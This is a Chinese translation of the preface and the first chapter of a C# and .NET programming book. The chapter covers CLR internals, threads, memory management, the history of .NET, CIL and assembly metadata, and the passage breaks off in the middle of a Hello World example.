精通-C--和--NET-框架-全-

精通 C# 和 .NET 框架(全)

原文:zh.annas-archive.org/md5/1e10574a82625a4cd66476f28fc6c64a

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

自 2001 年初发布以来,.NET 和 C#语言在采用率上持续增长。C#的主要作者安德斯·海尔斯伯格(Anders Hejlsberg)一直领导着几个开发团队,不断进行增长和改进,直到目前的.NET 4.6 版本,以及非常重要的.NET Core 1.0/1.1 版本,并且继续进行这项工作,这也与新的 TypeScript 语言相关联,我们将在本书中也会涉及。

本书是一段旅程,通过.NET 框架(特别是 C#)为开发者提供不同的选项和可能性,以构建在 Windows 上运行的应用程序,正如上一章所看到的,在其他平台和设备上也能运行。

我认为,这本书可以作为程序员想要更新这一系列技术最新版本知识的参考,也可以作为那些来自其他环境,希望接近.NET 和 C#语言以扩展他们的技能和编程工具集的人的参考。

这里讨论的所有主要观点都通过示例进行了说明,这些演示的重要部分都进行了详细解释,以便您可以轻松地跟随这一路线。

本书涵盖的内容

第一章, 《CLR 内部》,介绍了.NET 的内部结构、组件的构建方式、我们与之工作的工具和资源,以及.NET 如何与操作系统集成。

第二章, 《C#和.NET 的核心概念》,回顾了语言的基础、其主要特性和某些特性的真正原因,例如委托。

第三章, 《C#和.NET 的高级概念》, 从 4.0 版本开始,探讨了一些语言和框架库中新的常见实践,特别是与同步性、执行线程和动态编程相关的内容。最后,我们可以发现 6.0 和 7.0 版本中出现的一些新特性,旨在简化我们的编码方式。

第四章, 《编程方法的比较》,讨论了.NET 语言生态系统中的两个成员:F#和 TypeScript(也称为函数式语言),它们在程序员社区中越来越受欢迎。

第五章, 《反射和动态编程》,涵盖了.NET 程序检查、内省和修改其自身结构和行为的能力,以及如何与其他程序(如 Office 套件)进行交互操作。

第六章,SQL 数据库编程,处理根据关系模型原则构建的数据库的访问,特别是 SQL 数据库。它涵盖了 Entity Framework 6.0,并对 ADO.NET 进行了简要回顾。

第七章,NoSQL 数据库编程,回顾了新兴的数据库范式,即 NoSQL 数据库。我们将使用最流行的 MongoDB,并查看如何从 C#代码中管理它。

第八章,开源编程,探讨了使用 Microsoft 技术的开源编程的当前状态,以及开源生态系统。我们将回顾 Node.js、Roselyn,以及 TypeScript,尽管观点略有不同。

第九章,架构,探讨了应用程序的结构及其构建中可用的工具,例如 MSF、良好实践等。

第十章,设计模式,关注代码及其结构的质量,从效率、精确性和可维护性方面进行探讨。它涉及 SOLID 原则、四人组模式以及其他建议。

第十一章,安全,从.NET 开发者的角度分析了 OWASP Top 10 安全建议。

第十二章,性能,处理与应用程序性能相关的常见问题,以及为了获得灵活、响应迅速且表现良好的软件而通常建议的技术和技巧,特别强调 Web 性能。

第十三章,高级主题,涵盖了通过子类化和平台/调用与操作系统交互,通过 WMI 检索系统数据,并行编程,以及介绍新的.NET Core 和 ASP.NET Core 多平台技术。

您需要这本书的内容

由于本书致力于 C#和.NET,主要使用的工具是 Visual Studio。然而,您可以使用多个版本来跟随本书的大部分章节。

我使用了 Visual Studio 2015 Ultimate Update 3,但您也可以使用免费的社区版来获取其超过 90%的内容。其他可用选项包括免费的 Visual Studio 2015 Express Edition 和免费的跨平台 Visual Studio Code。

此外,还需要免费安装 SQL Server Express 2014 的基本版本,以及 SQL Server Management Studio(2016 版本与这里涵盖的主题同样适用)。

对于 NoSQL 部分,基本安装也需要 MongoDB。

为了调试网站,拥有 Chrome Canary 或 Firefox 开发者版是个不错的选择,因为它们为开发者提供了扩展功能。

其他工具和实用程序可以从 扩展和更新 菜单选项安装,该选项链接到 Visual Studio 不同版本中的 工具 菜单。

最后,在某些情况下,你可以从本书中指出的网站上下载工具;尽管如此,它们并不是完全理解本书内容的绝对要求。

本书面向的对象

本书专为 .NET 开发者编写。如果你正在为客户创建 C# 应用程序,无论是在工作场所还是家中,这本书将帮助你掌握创建现代、强大和高效的 C# 应用程序所需的技术。

无需了解 C# 6/7 或 .NET 4.6 的知识即可跟随本书——所有最新功能都包括在内,以帮助你立即开始编写跨平台应用程序。你需要熟悉 Visual Studio,尽管本书也将涵盖 Visual Studio 2015 的所有新功能。

约定

在本书中,你会发现许多文本样式,用于区分不同类型的信息。以下是一些这些样式的示例及其含义的解释。

文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 处理方式如下所示:“我们使用 ForEach 方法,它接收一个 Action 委托参数。”

代码块设置如下:

static void GenerateStrings()
{
  string initialString = "Initial Data-";
  for (int i = 0; i < 5000; i++)
  {
    initialString += "-More data-";
  }
  Console.WriteLine("Strings generated");
}

新术语重要词汇以粗体显示。你会在屏幕上看到的单词,例如在菜单或对话框中,在文本中显示如下:“在内存使用选项卡中,我们可以拍摄正在发生的情况的快照。”

注意

警告或重要提示以如下框的形式出现。

小贴士

小技巧和窍门如下所示。

读者反馈

我们欢迎读者的反馈。请告诉我们你对这本书的看法——你喜欢什么或不喜欢什么。读者的反馈对我们来说很重要,因为它帮助我们开发出你真正能从中受益的标题。

要向我们发送一般反馈,只需发送电子邮件到 <feedback@packtpub.com>,并在邮件的主题中提及本书的标题。

如果你在一个领域有专业知识,并且你对撰写或参与一本书感兴趣,请参阅我们的作者指南 www.packtpub.com/authors

客户支持

现在你已经是 Packt 书籍的骄傲所有者,我们有一些东西可以帮助你从购买中获得最大收益。

下载示例代码

你可以从 www.packtpub.com 的账户下载本书的示例代码文件。如果你在其他地方购买了这本书,你可以访问 www.packtpub.com/support 并注册,以便将文件直接通过电子邮件发送给你。

你可以通过以下步骤下载代码文件:

  1. 使用您的电子邮件地址和密码登录或注册我们的网站。

  2. 将鼠标指针悬停在顶部的支持标签上。

  3. 点击代码下载与勘误

  4. 搜索框中输入书籍名称。

  5. 选择您想要下载代码文件的书籍。

  6. 从下拉菜单中选择您购买此书的来源。

  7. 点击代码下载

您还可以通过点击 Packt Publishing 网站上书籍网页上的代码文件按钮下载代码文件。您可以通过在搜索框中输入书籍名称来访问此页面。请注意,您需要登录到您的 Packt 账户。

下载文件后,请确保您使用最新版本解压缩或提取文件夹:

  • WinRAR / 7-Zip for Windows

  • Zipeg / iZip / UnRarX for Mac

  • 7-Zip / PeaZip for Linux

该书的代码包也托管在 GitHub 上,网址为 github.com/PacktPublishing/Mastering-C-Sharp-and-.NET-Framework。我们还有其他来自我们丰富图书和视频目录的代码包,可在 github.com/PacktPublishing/ 找到。查看它们吧!

勘误

尽管我们已经尽一切努力确保我们内容的准确性,但错误仍然可能发生。如果您在我们的某本书中找到错误——可能是文本或代码中的错误——如果您能向我们报告,我们将不胜感激。这样做可以节省其他读者的挫败感,并帮助我们改进此书的后续版本。如果您发现任何勘误,请通过访问 www.packtpub.com/submit-errata,选择您的书籍,点击勘误提交表单链接,并输入您的勘误详情来报告它们。一旦您的勘误得到验证,您的提交将被接受,勘误将被上传到我们的网站或添加到该标题的勘误部分下的现有勘误列表中。

要查看之前提交的勘误表,请访问 www.packtpub.com/books/content/support 并在搜索框中输入书籍名称。所需信息将在勘误部分显示。

盗版

互联网上对版权材料的盗版是一个持续存在的问题,涉及所有媒体。在 Packt,我们非常重视我们版权和许可证的保护。如果您在互联网上发现我们作品的任何非法副本,请立即提供位置地址或网站名称,以便我们可以寻求补救措施。

请通过 <copyright@packtpub.com> 联系我们,并提供涉嫌盗版材料的链接。

我们感谢您在保护我们作者和我们为您提供有价值内容的能力方面的帮助。

问题和建议

如果您对本书的任何方面有问题,您可以联系我们的邮箱 <questions@packtpub.com>,我们将尽力解决问题。

第一章. CLR 内部

由于 CLR 只是对基于计算机中已知和公认原则的不同工具和软件的通用名称,因此我们将从回顾一些我们经常视为理所当然的最重要的软件编程概念开始。因此,为了使事情更有背景,本章回顾了围绕.NET 创建动机的最重要概念,该框架如何与 Windows 操作系统集成,以及是什么使得所谓的 CLR 成为如此优秀的运行时。

简而言之,本章涵盖了以下主题:

  • 一个简要但精心挑选的通用和.NET 编程中使用的常见术语和概念词典

  • 对.NET 创建后的目标和其主要构建者的快速回顾

  • 对组成 CLR 的各个主要部分、其工具以及工具如何工作的解释

  • 算法复杂性的基本方法及其度量方式

  • 与 CLR 相关的一些最突出的特性列表,这些特性出现在最近版本中

一些重要计算术语的注释提醒

让我们来看看在软件构建中广泛使用的一些重要概念,这些概念在.NET 编程中经常出现。

上下文

如维基百科所述:

在计算机科学中,任务上下文是任务(可能是进程或线程)必须保存的最小数据集,以便在给定日期中断任务,并在中断点和任意未来日期继续此任务。

换句话说,上下文是与线程处理的数据相关的术语。这些数据按需由系统方便地存储和恢复。

实际应用此概念的方法包括 HTTP 请求/响应和数据库场景,其中上下文起着非常重要的作用。

操作系统的多任务执行模型

CPU 能够在一段时间内管理多个进程。正如我们提到的,这是通过使用称为上下文切换的技术来保存和恢复(以极快的方式)执行上下文来实现的。

当一个线程停止执行时,它处于空闲状态。这种分类在分析能够隔离空闲状态的线程的工具处理进程执行时可能很有用:

操作系统的多任务执行模型

上下文类型

在某些语言中,例如 C#,我们也发现了安全或安全上下文的概念。在某种程度上,这与所谓的线程安全相关。

线程安全

如果一段代码只以保证多个线程同时安全执行的方式操作共享数据结构,则称该代码为线程安全。为了创建线程安全的数据结构,使用了各种策略,而.NET 框架对此概念及其实现非常谨慎。

实际上,大多数 MSDN(官方文档)对于适用对象(大多数)都在底部包含指示“此类型是线程安全的”。

状态

计算机程序的状态是一个技术术语,指的是在某一时刻,程序可以访问的所有存储信息。计算机程序在任何时刻的输出完全由其当前输入和状态决定。这个概念的一个重要变体是程序的状态。

程序状态

这个概念特别重要,并且有几个含义。我们知道计算机程序在变量中存储数据,这些变量只是计算机内存中的标记存储位置。在任何给定程序执行点,这些内存位置的包含内容被称为程序的状态。

在面向对象的编程语言中,据说一个类通过字段定义其状态,而这些字段在执行过程中的值决定了该对象的状态。尽管这不是强制性的,但在面向对象编程中,当类的方法仅用于保持其状态的一致性和逻辑时,这被认为是一种良好的实践。

此外,编程语言的常见分类建立了两个类别:命令式编程和声明式编程。C#或 Java 是前者的例子,而 HTML 是典型的声明式语法(因为它本身不是一种语言)。在声明式编程中,句子倾向于使用声明性范式改变程序的状态,而语言仅指示所需的结果,没有关于引擎如何获得结果的说明。

序列化

序列化是将数据结构或对象状态转换为可以存储(例如,在文件或内存缓冲区中)或通过网络连接传输的格式的过程,稍后可以在同一或另一台计算机环境中重建。

因此,我们过去常说,序列化一个对象意味着将其状态转换为字节流,这样字节流就可以被转换回对象的副本。流行的文本格式多年前出现,现在已知并得到广泛接受,例如 XML 和 JSON,独立于其他之前的格式(包括二进制):

序列化

进程

操作系统在几个功能单元之间分配操作。这是通过为每个执行单元分配不同的内存区域来实现的。区分进程和线程很重要。

操作系统为每个进程分配一组资源,在 Windows 中这意味着进程将拥有自己的虚拟地址空间,并相应地进行分配和管理。当 Windows 初始化一个进程时,它实际上是在建立一个执行上下文,这暗示了一个进程环境块(也称为 PEB)和数据结构。然而,让我们明确一点:操作系统不执行进程;它只建立执行上下文。

线程

线程是进程的功能(或工作)单元。这就是操作系统执行的内容。因此,单个进程可能有多个执行线程,这是非常常见的事情。每个线程在进程创建时分配的资源中都有自己的地址空间。这些资源由所有链接到该进程的线程共享:

线程

重要的是要记住,线程只属于单个进程,因此只能访问该进程定义的资源。当使用现在将要建议的工具时,我们可以查看多个线程同时执行(这意味着它们以独立的方式开始工作)并共享资源,如内存和数据。

不同的进程不共享这些资源。特别是,进程中的线程共享其指令(可执行代码)和上下文(在任何给定时刻其变量的值)。

如.NET 语言、Java 或 Python 等编程语言在运行时向开发者暴露线程,同时抽象了线程实现的具体平台差异。

提示

注意,线程之间的通信可以通过进程创建时初始化的公共资源集来实现。

当然,关于这两个概念有更多内容被撰写,这些内容远远超出了本书的范围(有关更多详细信息,请参阅维基百科,en.wikipedia.org/wiki/Thread_(computing)),但系统为我们提供了检查任何进程执行情况的机制,也可以检查正在执行的线程。

如果你对此感兴趣或只是需要检查是否有错误发生,我推荐两种主要工具:任务管理器(包含在操作系统中,你可能已经知道),以及——更好的是——由杰出的工程师和技术伙伴马克·拉辛诺维奇(Mark Russinowitch)设计的工具,免费提供,并包含 50 多个实用工具。

有些具有 Windows 界面,而有些是控制台实用工具,但所有这些都非常优化且可配置,可以在任何时刻监控和控制我们操作系统的内部方面。它们可以在technet.microsoft.com/en-us/sysinternals/bb545021.aspx免费获取。

如果您不想安装任何其他东西,请打开任务管理器(只需右键单击任务栏即可访问它)并选择详细信息选项卡。您将看到每个进程的更详细描述,每个进程使用的 CPU 量,每个进程分配的内存量等等。您甚至可以右键单击其中一个进程,并看到一个上下文菜单,它提供了一些可能性,包括启动一个显示与其相关的某些属性的新的对话框窗口:

线程

SysInternals

如果您真的想了解一个进程的整体行为,请使用 SysInternals 工具。如果您访问之前提到的链接,您将看到一个专门针对进程实用程序的菜单项。在那里,您有多个选择可供工作,但最全面的是进程探索器进程监视器

进程探索器进程监视器无需安装(它们是用 C++编写的),因此您可以直接在任何 Windows 平台上从任何设备执行它们。

例如,如果您运行进程探索器,您将看到一个显示系统当前所有活动进程的每个细节的详细窗口。

使用进程探索器,您可以找出进程打开了哪些文件、注册表键以及其他对象,以及它们加载的 DLL,每个进程的所有者等等。每个线程都是可见的,并且该工具提供了一个非常直观的用户界面,提供详细的信息:

SysInternals

检查系统的实时行为也非常有用,因为它创建了 CPU 使用率、I/O、内存等活动图形,如下面的截图所示:

SysInternals

以类似的方式,进程监视器专注于实时监控文件系统、注册表以及所有进程和线程的活动,因为它实际上是将两个之前的实用程序合并在一起:FileMon(文件监视器)和RegMon(注册表监视器),这些工具现在已不再可用。

如果您尝试使用 PM,您将看到 PE 中包含的一些信息,以及 PM 提供的特定信息——只是以不同的方式传达。

静态内存与动态内存

当程序开始执行时,操作系统通过调度将其分配给一个进程:通过某种方式指定的工作分配给完成工作的资源的方法。这意味着进程的资源被分配,这也就意味着内存分配。

正如我们将看到的,主要有两种类型的内存分配:

  • 固定内存(与堆栈链接),在编译时确定。局部变量在堆栈中声明和使用。请注意,这是一个在进程资源最初分配时分配的连续内存块。分配机制非常快(尽管访问速度并不快)。

  • 另一种是动态内存(堆),它可以随着程序的需求增长,并且是在运行时分配的。这是实例变量分配的地方(那些指向类或对象实例的变量)。

通常,第一种类型是在编译时计算的,因为编译器知道根据其类型(例如intdouble等)需要分配多少内存来声明变量。它们在具有如下语法的函数内部声明:int x = 1;

第二种类型需要调用new运算符。假设我们的代码中有一个名为Book的类,我们使用这种类型的表达式创建一个这样的Book实例:

Book myBook = new Book();

这指示运行时在堆中分配足够的空间来容纳该类型的实例及其字段;类的状态在堆中分配。这意味着程序的全部状态将存储在不同的内存(和可选的磁盘)位置。

当然,还有更多方面需要考虑,我们将在本章的栈和堆部分进行介绍。幸运的是,IDE 允许我们在调试时观察和分析所有这些方面(以及更多),提供非凡的调试体验。

垃圾收集器

垃圾收集GC)是一种自动内存管理形式。.NET 中的 GC 试图回收垃圾或程序不再使用的对象的内存。回到之前Book代码声明的例子,当栈中没有对Book对象的引用时,GC 将回收该空间并归还给系统,从而释放内存(实际上要复杂一些,我将在本章后面的内存管理部分进一步详细说明——当我们讨论内存管理时,但暂时可以这样理解)。

重要的是要注意,垃圾收集器并不仅限于.NET 平台。实际上,你可以在所有平台和程序中找到它,即使你正在处理浏览器。例如,当前的 JavaScript 引擎,如 Chrome 的 V8、Microsoft 的 Chakra 以及其他一些引擎,也使用垃圾收集机制。

并发计算

并发或并发计算是当今一个非常常见的概念,我们将在本书的几个实例中了解到它。维基百科上的官方定义是:

“并发计算是一种在重叠时间段内执行多个计算的计算形式——并发——而不是顺序执行(一个完成后再开始下一个)。这是一个系统的属性——这可能是一个单独的程序、计算机或网络——并且每个计算都有一个单独的执行点或“控制线程”。一个并发系统是一个计算可以在等待所有其他计算完成之前继续进行;在多个计算可以同时进行的地方。”

并行计算

并行计算是一种计算类型,其中许多计算是同时进行的,基于大问题通常可以分解成更小的部分,然后同时解决的原则。.NET 提供了这种类型计算的好几种变体,我们将在接下来的几章中介绍:

并行计算

强制性编程

强制性编程是一种编程范式,它用程序的状态来描述计算。C#、JavaScript、Java 或 C++是强制语言典型的例子。

声明性编程

与强制性编程相反,被认为是声明性的语言只描述所需的输出结果,而不明确列出必须执行的命令或步骤。许多标记语言,如 HTML、XAML 或 XSLT,都属于这一类别。

.NET 的演变

在.NET 到来之前,Microsoft 的编程生态系统一直由少数经典语言统治,Visual Basic 和 C++(带有 Microsoft Foundation Classes)是这种类型的典型例子。

注意

也称为MFCMicrosoft Foundation Classes),是一个将 Windows API 的部分功能封装在 C++类中的库,包括使它们能够使用默认应用程序框架的功能。为许多句柄管理的 Windows 对象以及预定义的窗口和常见控件定义了类。它在 1992 年随着 Microsoft 的 C/C++ 7.0 编译器推出,用于与 16 位版本的 Windows 一起使用,作为 Windows API 的一个极其薄的面向对象 C++包装器。

然而,.NET 提出的重大变化始于一种完全不同的组件模型方法。直到 2002 年.NET 正式推出之前,这种组件模型是COMComponent Object Model),该公司在 1993 年引入。COM 是包括 OLE、OLE 自动化、ActiveX、COM+、DCOM、Windows 外壳、DirectX、UMDFUser-Mode Driver Framework)和 Windows 运行时在内的其他几个 Microsoft 技术和框架的基础。

注意

一种设备驱动程序开发平台(Windows Driver Development Kit)首次在 Microsoft 的 Windows Vista 操作系统中引入,也适用于 Windows XP。它便于创建某些类别的设备的驱动程序。

在撰写本文时,COM 是另一个名为CORBACommon Object Request Broker Architecture)的规范的竞争对手,这是一个由对象管理组OMG)定义的标准,旨在促进部署在不同平台上的系统的通信。CORBA 使不同操作系统、编程语言和计算硬件上的系统之间能够协作。在其生命周期中,它受到了很多批评,主要是因为标准的实现不佳。

.NET 作为对 Java 世界的反应

在 1995 年,为了取代 COM 及其相关的副作用,特别是版本和依赖于 Windows 注册表的 COM 的使用,注册表的损坏或修改片段可能表明组件在运行时不可访问;同时,为了安装应用程序,需要提升权限,因为 Windows 注册表是系统的一个敏感部分,一个新的模型被构想出来。

一年后,微软的各个部门开始与一些最杰出的软件工程师取得联系,这些联系在多年中一直保持活跃。这些人包括像 Anders Hejlsberg(成为 C#的主要作者和.NET 框架的主要架构师)、Jean Paoli(XML 标准的签署者之一,也是 AJAX 技术的早期倡导者)、Don Box(参与了 SOAP 和 XML Schema 的创建)、Stan Lippman(C++之父之一,当时在迪士尼工作)、Don Syme(泛型的架构师和 F#语言的主要作者)等等。

该项目的目的是创建一个新的执行平台,一个摆脱 COM 限制的平台,并且能够以安全和可扩展的方式运行一组语言。新的平台应该能够编程和集成刚刚出现的基于 XML 的 Web 服务世界,以及其他技术。新提议的初始名称是下一代 Windows 服务NGWS)。

到 2000 年底,.NET 框架的第一个 beta 版本发布,第一个版本于 2002 年 2 月 13 日推出。从那时起,.NET 始终与 IDE(Visual Studio)的新版本保持一致。在撰写本文时,经典.NET 框架的当前版本是 4.6.1,但我们将在此章节的后面更详细地介绍这一点。

2015 年,首次出现了一个替代.NET。在//BUILD/活动中,微软宣布了另一个.NET 版本(称为.NET Core)的创建和可用性。

开源运动和.NET Core

开源运动和.NET Core 的一部分灵感来源于现在在雷德蒙德对软件创建和可用性的深刻变化。当 Satya Nadella 成为微软的 CEO 时,他们明确转向了新的口号:“移动优先,云优先”。他们还重新定义了自己为一家软件和服务公司

这意味着接受开源理念及其所有后果。因此,NET Framework 的很大一部分已经向社区开放,有人说这一运动将持续到整个平台完全开放。此外,第二个目的(在//BUILD/活动上多次明确陈述)是创建一个强大的编程生态系统,足以让任何人能够为任何平台或设备编写任何类型的应用程序。因此,他们开始支持 Mac OS 和 Linux,以及为 Android 和 iOS 构建应用程序的几个工具。

然而,影响更深。如果你想要为 Mac OS 和 Linux 构建应用程序,你需要一个不同的公共语言运行时CLR),它能够在这些平台上执行而不损失性能。这正是.NET Core 发挥作用的地方。

在撰写本文时,微软已经发布了针对.NET 生态系统的一些(雄心勃勃的)改进,主要基于.NET 的两种不同版本:

开源运动和.NET Core

第一个是最后一个可用的版本——.NET(.NET 框架 4.6.x),第二个是新版本,旨在允许编译不仅适用于 Windows 平台,还适用于 Linux 和 Mac OS 的编译。

.NET Core 是 2015 年(上次更新于 2015 年 11 月,更新到版本 1.1)发布的 CLR 新开源版本的通用名称,旨在支持多种灵活的.NET 实现。此外,该团队正在开发一个名为.NET Native的项目,它将编译成每个目标平台的本地代码。

然而,让我们继续探讨 CLR 背后的主要概念,从版本无关的角度来看。

注意

整个项目可在 GitHub 上找到:github.com/dotnet/coreclr

公共语言运行时

为了解决 COM 的一些问题并引入作为新平台一部分所请求的一大批新功能,微软的一个团队开始演进先前的想法(以及与平台相关的名称)。因此,在第一个公开测试版之前,该框架很快被更名为组件对象运行时COR),最终被命名为公共语言运行时,以强调新平台与单一语言无关。

实际上,有数十种编译器可用于.NET 框架,它们都会生成类型中间代码,该代码在执行时被转换为本地代码,如下面的图所示:

公共语言运行时

CLR(公共语言运行时)以及 COM(组件对象模型)都侧重于组件之间的契约,这些契约基于类型,但相似之处到此为止。与 COM 不同,CLR 建立了一种明确的形式来指定契约,这通常被称为元数据。

此外,CLR 包括读取元数据而不需要了解底层文件格式的可能性。此外,这种元数据可以通过自定义属性进行扩展,这些属性本身是强类型的。元数据中包含的其他有趣信息包括版本信息(记住,不应该有对注册表的依赖)和组件依赖。

此外,对于任何组件(称为程序集),存在元数据是强制性的,这意味着不可能在没有读取其元数据的情况下部署组件的访问。在初始版本中,安全性的实现主要基于元数据中包含的一些证据。此外,这种元数据通过称为 Reflection 的过程对 CLR 内部的任何程序或外部程序都可用。

另一个重要的区别是,.NET 合同首先描述了类型的逻辑结构。正如 Don Box 在其杰出的《Essential .NET》中详细解释的那样,其中没有内存表示、读取顺序序列、对齐或参数约定等。

常见中间语言

这些先前约定和协议在 CLR 中通过一种称为合同虚拟化的技术得到解决。这意味着为 CLR 编写的代码(如果不是所有代码)不包含机器代码,而是一种称为 常见中间语言CIL)或简称为 中间语言IL)的中间语言。

CLR 永远不会直接执行 CIL。相反,CIL 总是通过一种称为 JIT即时)编译的技术在执行之前转换为本地机器代码。这意味着 JIT 过程始终将生成的可执行代码适应目标机器(独立于开发者)。执行 JIT 过程有几种模式,我们将在本章后面更详细地探讨它们。

因此,CLR 可以被称为以类型为中心的框架。对于 CLR 来说,一切都是类型、对象或值。

托管执行

CLR 行为的另一个关键因素是程序员被鼓励忘记对内存的显式管理和线程的手动管理(尤其是与 C 和 C++ 等语言相关),以采用 CLR 提出的新执行方式:托管执行。

在托管执行下,CLR 对其执行上下文中发生的所有事情都有完全的了解。这包括每个变量、方法、类型、事件等。这鼓励并促进了生产力,并以多种方式简化了调试过程。

托管执行

此外,CLR 通过一个名为 CodeDOM 的实用工具支持运行时代码(或生成式编程)的创建。有了这个特性,你可以在不同的语言中生成代码,并直接在内存中编译(和执行)它。

所有这些都引导我们到下一个逻辑问题:可以使用此基础设施的语言有哪些,它们之间有哪些共同点,生成的代码是如何组装和准备执行,存储信息单元(如我所说,它们被称为程序集)是什么,最后,所有这些信息是如何组织并结构化到这些程序集中的?

组件和语言

每个执行环境都有一个关于软件组件的概念。对于 CLR 来说,这些组件必须用 CLI 兼容的语言编写,并相应地编译。你可以在维基百科上找到 CLI 语言的列表。但问题是什么是 CLI 兼容的语言?

CLI 代表 通用语言基础设施,它是由 ISOECMA 标准化的软件规范,描述了可执行代码和运行时环境,允许多种高级语言在不同的计算机平台上使用,而无需为特定架构重写。.NET 框架和免费开源的 Mono 都是 CLI 的实现。

注意

注意,这些术语和实体的官方网站如下:

ISO: www.iso.org/iso/home.html

ECMA: www.ecma-international.org/

MONO: www.mono-project.com/

CLI 语言: en.wikipedia.org/wiki/List_of_CLI_languages

CLI 中最相关的要点如下(根据维基百科):

  • 首先,为了替代 COM,元数据是关键,它提供了关于组件架构的信息,例如菜单或索引,里面可以找到什么内容。由于它不依赖于语言,任何程序都可以读取这些信息。

  • 基于此,应该有一套共同的规则来遵守数据类型和操作。这就是 公共类型系统CTS)。所有遵循 CTS 的语言都可以使用一套规则。

  • 为了语言之间的最小互操作性,有一套规则,并且这些规则应该适用于这个组中的所有编程语言,因此用一种语言制作的 DLL 然后编译,可以由用不同 CTS 语言编译的另一个 DLL 使用,例如。

  • 最后,我们有一个虚拟执行系统,它负责运行此应用程序以及许多其他任务,例如管理程序请求的内存、组织执行块等。

考虑到所有这些,当我们使用 .NET 编译器(从现在起,称为编译器)时,我们生成一个字节流,通常以文件的形式存储在本地文件系统或 Web 服务器上。

程序集文件的结构

编译过程生成的文件称为程序集,任何程序集都遵循 Windows 中任何其他可执行文件的基本规则,并添加了一些适合和必需的扩展和信息,以便在托管环境中执行。

简而言之,我们理解程序集只是一组包含 IL 代码和元数据的模块,它们是 CLI 中软件组件的主要单元。安全性、版本控制、类型解析、进程(应用程序域)等,都是在每个程序集的基础上工作的。

这的重要性意味着可执行文件结构的改变。这导致了一个新的文件架构,如下面的图所示:

程序集文件的结构

注意,PE 文件是符合可移植/可执行格式的文件:一种用于可执行文件、对象代码、DLLs、FON(字体)文件等文件格式,用于 32 位和 64 位版本的 Windows 操作系统。它最初由微软在 Windows NT 3.1 中引入,所有后续版本的 Windows 都支持这种文件结构。

这就是为什么我们在格式中找到一个 PE/COFF 头,它包含系统所需的兼容信息。然而,从.NET 程序员的视角来看,真正重要的是程序集包含三个主要区域:CLR 头、IL 代码和一个包含资源(如图中的原生映像部分)的部分。

小贴士

关于 PE 格式的详细描述可在www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx找到。

程序执行

在与 CLR 链接的库中,我们发现了一些负责在内存中加载程序集、启动和初始化执行上下文的库。它们通常被称为 CLR 加载器。与其他一些实用工具一起,它们提供了以下功能:

  • 自动内存管理

  • 使用垃圾回收器

  • 元数据访问以查找类型信息

  • 加载模块

  • 分析托管库和程序

  • 一个强大的异常管理子系统,以使程序能够以结构化的方式通信和响应故障

  • 原生和遗留代码互操作性

  • 将托管代码即时编译成原生代码

  • 一个复杂的安全基础设施

此加载器使用 OS 服务来简化程序集的加载、编译和执行。正如我们之前提到的,CLR 作为.NET 语言的执行抽象。为了实现这一点,它使用一组 DLLs,这些 DLLs 作为 OS 和应用程序程序之间的中间层。记住,CLR 本身就是一个 DLL 集合,这些 DLLs 共同定义了虚拟执行环境。其中最相关的是以下内容:

  • mscoree.dll(有时被称为 shim,因为它只是 CLR 所包含的实际 DLLs 前面的一个门面)

  • clr.dll

  • mscorsvr.dll(多处理器)或mscorwks.dll(单处理器)

在实践中,mscoree.dll的主要作用之一是根据包括(但不限于)底层硬件在内的任何数量因素选择适当的构建(单处理器或多处理器)。

clr.dll是真正的管理者,其余的都是用于不同目的的实用程序。这个库是 CLR 中唯一位于$System.Root$的库,正如我们可以通过简单的搜索找到的那样:

程序执行

我的系统显示两个版本(还有一些其他版本),每个版本都准备好启动为 32 位或 64 位版本编译的程序。其余的 DLL 位于另一个地方:通常称为全局程序集缓存GAC)的安全目录集。

实际上,Windows 10 的最新版本安装了所有此类 GAC 的文件,对应于 1.0、1.1、2.0、3.0、3.5 和 4.0 版本,尽管其中一些只是具有最少信息的占位符,而我们只找到了.NET 2.0、.NET 3.5(仅部分)和.NET 4.0 的完整版本。

此外,请注意,这些占位符(对于未完全安装的版本)允许进一步安装,如果某些旧软件需要它们的话。这意味着.NET 程序的执行依赖于其元数据中指示的版本,而不是其他任何东西。

您可以使用CLRver.exe实用程序检查系统中安装的.NET 版本,如下图所示:

程序执行

在执行之前,内部发生几个操作。当我们启动.NET 程序时,我们将像往常一样进行,就像它是 Windows 的另一个标准可执行文件一样。

在幕后,系统将读取包含指令以启动mscore.dll的标题,该mscore.dll反过来将在托管环境中启动整个运行过程。在这里,我们将省略此过程固有的所有复杂性,因为它远远超出了本书的范围。

元数据

我们提到,新编程模型的关键方面是大量依赖于元数据。此外,对元数据进行反射的能力使得程序可以通过其他程序(而不是人类)生成,这正是 CodeDOM 发挥作用的地方。

当处理语言时,我们将涵盖 CodeDOM 的一些方面及其用法,并探讨 IDE 本身在每次从模板创建源代码时如何频繁地使用此功能。

为了帮助 CLR 找到程序集的各个部分,每个程序集恰好有一个模块,其元数据包含程序集清单:这是 CLR 元数据的附加部分,充当包含附加类型定义和代码的辅助文件的目录。此外,CLR 可以直接加载包含程序集清单的模块。

那么,在真实程序中,清单的方面是什么,我们如何检查其内容呢?幸运的是,我们有一系列.NET 实用工具(从技术上讲,它们不属于 CLR,而是属于.NET 框架生态系统),这些工具使我们能够轻松地可视化这些信息。

使用基本的 Hello World 介绍元数据

让我们构建一个典型的 Hello World 程序,并在编译后分析其内容,这样我们就可以检查它如何转换为中间语言IL)以及我们所讨论的元信息在哪里。

在本书的整个过程中,我将使用 Visual Studio 2015 社区版更新 1(或如果出现更新版本,则使用更高版本),原因我将在后面解释。你可以免费安装它;这是一个功能齐全的版本,拥有大量的项目类型、实用工具等。

注意

Visual Studio 2015 CE 更新 1 可在www.visualstudio.com/vs/community/获取。

唯一的要求是免费注册以获取微软用于统计目的的开发者许可证——仅此而已。

在启动 Visual Studio 后,在主菜单中选择新建项目,然后转到Visual C#模板,在那里 IDE 提供了几种项目类型,并选择一个控制台应用程序,如图所示:

使用基本的 Hello World 介绍元数据

Visual Studio 将创建一个基本的代码结构,由对库的几个引用(关于这一点稍后讨论)以及包含program类的命名空间块组成。在这个类内部,我们将找到一个类似于 C++或 Java 语言中的应用程序入口点。

为了产生某种输出,我们将使用Console类的两个静态方法:WriteLine,它输出一个字符串并添加换行符,以及ReadLine,它强制程序停止,直到用户输入一个字符并按下回车键,这样我们就可以看到产生的输出。

在清理这些我们不会使用的引用,并包括之前提到的几句话后,代码将看起来像这样:

using System;
namespace ConsoleApplication1
{
  class Program
  {
    static void Main(string[] args)
    {
      Console.WriteLine("Hello! I'm executing in the CLR context.");
